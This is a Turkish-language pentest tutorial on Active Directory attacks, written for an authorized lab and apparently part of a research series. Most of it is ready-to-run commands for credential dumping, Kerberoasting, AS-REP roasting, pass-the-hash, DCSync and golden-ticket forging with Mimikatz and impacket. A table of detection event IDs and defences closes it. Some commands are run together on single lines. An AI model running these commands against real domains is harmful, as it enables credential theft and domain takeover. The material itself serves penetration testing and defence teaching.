Araştırma 07/08
Active Directory Saldırı Teknikleri
Active Directory kimlik zincirindeki yüksek etkili kötüye kullanım yollarını, bıraktıkları kanıtları ve savunma doğrulamasını yetkili laboratuvar bağlamında inceliyor.
Araştırma 07/08
Active Directory kimlik zincirindeki yüksek etkili kötüye kullanım yollarını, bıraktıkları kanıtları ve savunma doğrulamasını yetkili laboratuvar bağlamında inceliyor.
Kurumsal ağların büyük çoğunluğu kimlik doğrulama ve yetkilendirme için Windows Active Directory kullanır. Bir domain kullanıcısı ele geçirildikten sonra AD zafiyetleri sömürülerek Domain Admin yetkisine ulaşmak mümkündür. Bu yüzden AD saldırıları her pentest metodolojisinin merkezindedir.
"Own the AD, own the network."
# Linux'tan — impacketpython3 GetADUsers.py -all DOMAIN/user:pass -dc-ip 10.10.10.1python3 GetUserSPNs.py DOMAIN/user:pass -dc-ip 10.10.10.1
BloodHound, AD ilişkilerini görselleştirerek Domain Admin'e giden en kısa yolu bulur.
# SharpHound ile veri topla (hedef Windows makine)
.\SharpHound.exe -c All --zipfilename loot.zip
# Linux'tan — bloodhound-python
pip install bloodhound
bloodhound-python -u user -p pass -d DOMAIN.LOCAL \
-dc 10.10.10.1 -c All --zip# Neo4j ve BloodHound başlat
sudo neo4j start
bloodhound &
# Panel: http://localhost:7474
# Credentials: neo4j / neo4j (ilk girişte değiştirin)BloodHound'da işe yarar sorgular:
Shortest Paths to Domain AdminsFind Principals with DCSync RightsUsers with Most Local Admin RightsKerberoastable Users
Service Principal Name (SPN) tanımlı hesaplar için Bir servise erişim için Kerberos'un verdiği şifreli bilet (TGS). SPN tanımlı hesaplarda talep edilebildiğinden offline kırma (Kerberoasting) hedefidir. talep edilir, bu bilet offline kırılabilir.
# impacket ile — ağdan direktpython3 GetUserSPNs.py DOMAIN/user:pass \-dc-ip 10.10.10.1 -request -outputfile hashes.txt# Hedef Windows makineden — Rubeus.\Rubeus.exe kerberoast /outfile:hashes.txt
Hash'i kır:
# Hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# John
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txtPre-authentication devre dışı olan kullanıcılar için şifre gerektirmeden hash alınabilir.
# Kullanıcı adları biliniyor
python3 GetNPUsers.py DOMAIN/ -usersfile users.txt \
-dc-ip 10.10.10.1 -format hashcat -outputfile asrep.txt
# Hash kır
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txtWindows'un parolayı sakladığı özet (hash) değer. Ele geçirilirse parola kırılmadan doğrudan kimlik doğrulamada kullanılabilir — Pass-the-Hash saldırısının temeli. ele geçirildikten sonra şifreyi kırmaya gerek kalmadan kimlik doğrulaması yapılabilir.
# impacket — psexec ile shell
python3 psexec.py -hashes :NTLM_HASH DOMAIN/Administrator@10.10.10.1
# wmiexec
python3 wmiexec.py -hashes :NTLM_HASH DOMAIN/user@10.10.10.1
# smbexec
python3 smbexec.py -hashes :NTLM_HASH DOMAIN/user@10.10.10.1
# NetExec (CrackMapExec'in maintained fork'u; CME Apr 2024'te archive'landı) ile ağ genelinde test
nxc smb 10.10.10.0/24 -u Administrator -H NTLM_HASH# Mimikatz — LSASS'tan hash dump (hedef Windows)mimikatz # privilege::debugmimikatz # sekurlsa::logonpasswordsmimikatz # lsadump::sam# Secretsdump — uzaktanpython3 secretsdump.py DOMAIN/user:pass@10.10.10.1python3 secretsdump.py -hashes :NTLM_HASH DOMAIN/user@10.10.10.1# NTDS.dit dump (DC'de)python3 secretsdump.py -ntds /path/ntds.dit -system /path/SYSTEM LOCAL
Domain Admin yetkisi ya da replikasyon hakları (Replicating Directory Changes ve Replicating Directory Changes All) bir hesapta varsa, o hesapla tüm domain hash'leri çekilebilir. Bu iki hak birlikte gerekir — tek başına biri yetmez.
# Mimikatzmimikatz # lsadump::dcsync /domain:DOMAIN.LOCAL /user:Administrator# impacketpython3 secretsdump.py DOMAIN/user:pass@DC_IP -just-dc-user Administratorpython3 secretsdump.py DOMAIN/user:pass@DC_IP -just-dc # tüm hesaplar
krbtgt hash'i ele geçirildikten sonra herhangi bir kullanıcı adına sahte Kerberos bileti üretilebilir.
# Mimikatz — krbtgt hash'i almimikatz # lsadump::dcsync /user:krbtgt# Golden ticket oluşturmimikatz # kerberos::golden \/user:Administrator \/domain:DOMAIN.LOCAL \/sid:S-1-5-21-XXXXX \/krbtgt:KRBTGT_NTLM_HASH \/ticket:golden.kirbi# Bileti yüklemimikatz # kerberos::ptt golden.kirbi# Doğrulaklistdir \\DC01\C$
| Saldırı | Tespit Yöntemi | Savunma | |---|---|---| | Kerberoasting | Event ID 4769 (TGS istekleri) | Güçlü servis hesabı parolaları | | AS-REP Roasting | Event ID 4768 (pre-auth yok) | Pre-authentication zorunlu kıl | | Pass-the-Hash | Event ID 4624 (logon type 3) | Protected Users grubu | | DCSync | Event ID 4662 (replication) | DCSync haklarını denetle | | Golden Ticket | Event ID 4769 + anormal bilet ömrü | krbtgt parolasını düzenli sıfırla |
Tek bir Event ID olay kararı değildir. Hesap ayrıcalıkları, kaynak varlık, oturum tipi, bilet davranışı ve değişiklik geçmişi aynı zaman çizgisinde ilişkilendirilmeli; düzeltme sonrasında saldırı yolunun gerçekten kapandığı yeniden ölçülmelidir.
Okuma rotası
Topluluk masası
Soru sor, kanıt bırak veya bir düzeltme öner.